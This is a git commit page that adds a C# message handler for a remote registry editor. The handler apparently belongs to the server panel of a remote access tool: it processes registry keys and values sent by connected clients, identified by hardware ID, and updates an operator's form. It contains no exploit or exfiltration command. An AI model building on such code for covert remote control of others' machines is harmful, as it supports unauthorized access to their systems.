initial commit
This commit is contained in:
@@ -0,0 +1,316 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Windows.Forms;
|
||||
using Leb128;
|
||||
using Microsoft.Win32;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
using Server.Helper;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerRegedit
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
string text = (string)objects[1];
|
||||
if (text == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
switch (text.Length)
|
||||
{
|
||||
case 7:
|
||||
switch (text[0])
|
||||
{
|
||||
case 'C':
|
||||
{
|
||||
if (!(text == "Connect"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
FormRegedit form2 = (FormRegedit)Application.OpenForms["Regedit:" + (string)objects[2]];
|
||||
if (form2 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
string rootKey2 = (string)objects[3];
|
||||
List<RegistrySeeker.RegSeekerMatch> seekerMatches2 = new List<RegistrySeeker.RegSeekerMatch>();
|
||||
int num4 = 4;
|
||||
while (num4 < objects.Length)
|
||||
{
|
||||
RegistrySeeker.RegSeekerMatch regSeekerMatch3 = new RegistrySeeker.RegSeekerMatch();
|
||||
regSeekerMatch3.Key = (string)objects[num4++];
|
||||
object[] array3 = LEB128.Read((byte[])objects[num4++]);
|
||||
List<RegistrySeeker.RegValueData> list3 = new List<RegistrySeeker.RegValueData>();
|
||||
int num5 = 0;
|
||||
while (num5 < array3.Length)
|
||||
{
|
||||
RegistrySeeker.RegValueData regValueData5 = new RegistrySeeker.RegValueData();
|
||||
regValueData5.Name = (string)array3[num5++];
|
||||
regValueData5.Kind = (RegistryValueKind)(int)array3[num5++];
|
||||
regValueData5.Data = (byte[])array3[num5++];
|
||||
list3.Add(regValueData5);
|
||||
}
|
||||
regSeekerMatch3.Data = list3.ToArray();
|
||||
regSeekerMatch3.HasSubKeys = (bool)objects[num4++];
|
||||
seekerMatches2.Add(regSeekerMatch3);
|
||||
}
|
||||
form2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form2.materialLabel1.Enabled = true;
|
||||
form2.lstRegistryValues.Enabled = true;
|
||||
form2.tvRegistryDirectory.Enabled = true;
|
||||
form2.Text = "Regedit [" + (string)objects[2] + "]";
|
||||
form2.materialLabel1.Text = "Succues Connect";
|
||||
form2.AddKeys(rootKey2, seekerMatches2.ToArray());
|
||||
form2.client = client;
|
||||
});
|
||||
client.Tag = form2;
|
||||
client.Hwid = (string)objects[2];
|
||||
break;
|
||||
}
|
||||
case 'L':
|
||||
{
|
||||
if (!(text == "LoadKey"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
FormRegedit FM8 = (FormRegedit)client.Tag;
|
||||
if (FM8 == null)
|
||||
{
|
||||
break;
|
||||
}
|
||||
string rootKey = (string)objects[2];
|
||||
List<RegistrySeeker.RegSeekerMatch> seekerMatches = new List<RegistrySeeker.RegSeekerMatch>();
|
||||
int num2 = 3;
|
||||
while (num2 < objects.Length)
|
||||
{
|
||||
RegistrySeeker.RegSeekerMatch regSeekerMatch2 = new RegistrySeeker.RegSeekerMatch();
|
||||
regSeekerMatch2.Key = (string)objects[num2++];
|
||||
object[] array2 = LEB128.Read((byte[])objects[num2++]);
|
||||
List<RegistrySeeker.RegValueData> list2 = new List<RegistrySeeker.RegValueData>();
|
||||
int num3 = 0;
|
||||
while (num3 < array2.Length)
|
||||
{
|
||||
RegistrySeeker.RegValueData regValueData4 = new RegistrySeeker.RegValueData();
|
||||
regValueData4.Name = (string)array2[num3++];
|
||||
regValueData4.Kind = (RegistryValueKind)(int)array2[num3++];
|
||||
regValueData4.Data = (byte[])array2[num3++];
|
||||
list2.Add(regValueData4);
|
||||
}
|
||||
regSeekerMatch2.Data = list2.ToArray();
|
||||
regSeekerMatch2.HasSubKeys = (bool)objects[num2++];
|
||||
seekerMatches.Add(regSeekerMatch2);
|
||||
}
|
||||
FM8.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
FM8.AddKeys(rootKey, seekerMatches.ToArray());
|
||||
});
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
case 9:
|
||||
switch (text[0])
|
||||
{
|
||||
case 'C':
|
||||
{
|
||||
if (!(text == "CreateKey"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
FormRegedit FM7 = (FormRegedit)client.Tag;
|
||||
if (FM7 != null)
|
||||
{
|
||||
string ParentPath = (string)objects[2];
|
||||
RegistrySeeker.RegSeekerMatch regSeekerMatch = new RegistrySeeker.RegSeekerMatch();
|
||||
regSeekerMatch.Key = (string)objects[3];
|
||||
object[] array = LEB128.Read((byte[])objects[4]);
|
||||
List<RegistrySeeker.RegValueData> list = new List<RegistrySeeker.RegValueData>();
|
||||
int num = 0;
|
||||
while (num < array.Length)
|
||||
{
|
||||
RegistrySeeker.RegValueData regValueData3 = new RegistrySeeker.RegValueData();
|
||||
regValueData3.Name = (string)array[num++];
|
||||
regValueData3.Kind = (RegistryValueKind)(int)array[num++];
|
||||
regValueData3.Data = (byte[])array[num++];
|
||||
list.Add(regValueData3);
|
||||
}
|
||||
regSeekerMatch.Data = list.ToArray();
|
||||
regSeekerMatch.HasSubKeys = (bool)objects[5];
|
||||
FM7.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
FM7.CreateNewKey(ParentPath, regSeekerMatch);
|
||||
});
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'D':
|
||||
{
|
||||
if (!(text == "DeleteKey"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
FormRegedit FM6 = (FormRegedit)client.Tag;
|
||||
if (FM6 != null)
|
||||
{
|
||||
FM6.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
FM6.DeleteKey((string)objects[2], (string)objects[3]);
|
||||
});
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'R':
|
||||
{
|
||||
if (!(text == "RenameKey"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
FormRegedit FM5 = (FormRegedit)client.Tag;
|
||||
if (FM5 != null)
|
||||
{
|
||||
FM5.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
FM5.RenameKey((string)objects[2], (string)objects[3], (string)objects[4]);
|
||||
});
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
case 11:
|
||||
switch (text[2])
|
||||
{
|
||||
case 'e':
|
||||
{
|
||||
if (!(text == "CreateValue"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
FormRegedit FM3 = (FormRegedit)client.Tag;
|
||||
if (FM3 != null)
|
||||
{
|
||||
string keyPath2 = (string)objects[2];
|
||||
string text2 = (string)objects[3];
|
||||
string name = (string)objects[4];
|
||||
RegistryValueKind kind = RegistryValueKind.None;
|
||||
switch (text2)
|
||||
{
|
||||
case "-1":
|
||||
kind = RegistryValueKind.None;
|
||||
break;
|
||||
case "0":
|
||||
kind = RegistryValueKind.Unknown;
|
||||
break;
|
||||
case "1":
|
||||
kind = RegistryValueKind.String;
|
||||
break;
|
||||
case "2":
|
||||
kind = RegistryValueKind.ExpandString;
|
||||
break;
|
||||
case "3":
|
||||
kind = RegistryValueKind.Binary;
|
||||
break;
|
||||
case "4":
|
||||
kind = RegistryValueKind.DWord;
|
||||
break;
|
||||
case "7":
|
||||
kind = RegistryValueKind.MultiString;
|
||||
break;
|
||||
case "11":
|
||||
kind = RegistryValueKind.QWord;
|
||||
break;
|
||||
}
|
||||
RegistrySeeker.RegValueData regValueData2 = new RegistrySeeker.RegValueData();
|
||||
regValueData2.Name = name;
|
||||
regValueData2.Kind = kind;
|
||||
regValueData2.Data = new byte[0];
|
||||
FM3.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
FM3.CreateValue(keyPath2, regValueData2);
|
||||
});
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'l':
|
||||
{
|
||||
if (!(text == "DeleteValue"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
FormRegedit FM2 = (FormRegedit)client.Tag;
|
||||
if (FM2 != null)
|
||||
{
|
||||
FM2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
FM2.DeleteValue((string)objects[2], (string)objects[3]);
|
||||
});
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'n':
|
||||
{
|
||||
if (!(text == "RenameValue"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
FormRegedit FM4 = (FormRegedit)client.Tag;
|
||||
if (FM4 != null)
|
||||
{
|
||||
FM4.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
FM4.RenameValue((string)objects[2], (string)objects[3], (string)objects[4]);
|
||||
});
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'a':
|
||||
{
|
||||
if (!(text == "ChangeValue"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
FormRegedit FM = (FormRegedit)client.Tag;
|
||||
if (FM != null)
|
||||
{
|
||||
string keyPath = (string)objects[2];
|
||||
RegistrySeeker.RegValueData regValueData = new RegistrySeeker.RegValueData();
|
||||
regValueData.Name = (string)objects[3];
|
||||
regValueData.Kind = (RegistryValueKind)(int)objects[4];
|
||||
regValueData.Data = (byte[])objects[5];
|
||||
FM.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
FM.ChangeValue(keyPath, regValueData);
|
||||
});
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
case 5:
|
||||
{
|
||||
if (!(text == "Error"))
|
||||
{
|
||||
break;
|
||||
}
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormRegedit form = (FormRegedit)client.Tag;
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.materialLabel1.Text = "Error: " + (string)objects[2];
|
||||
});
|
||||
break;
|
||||
}
|
||||
case 6:
|
||||
case 8:
|
||||
case 10:
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user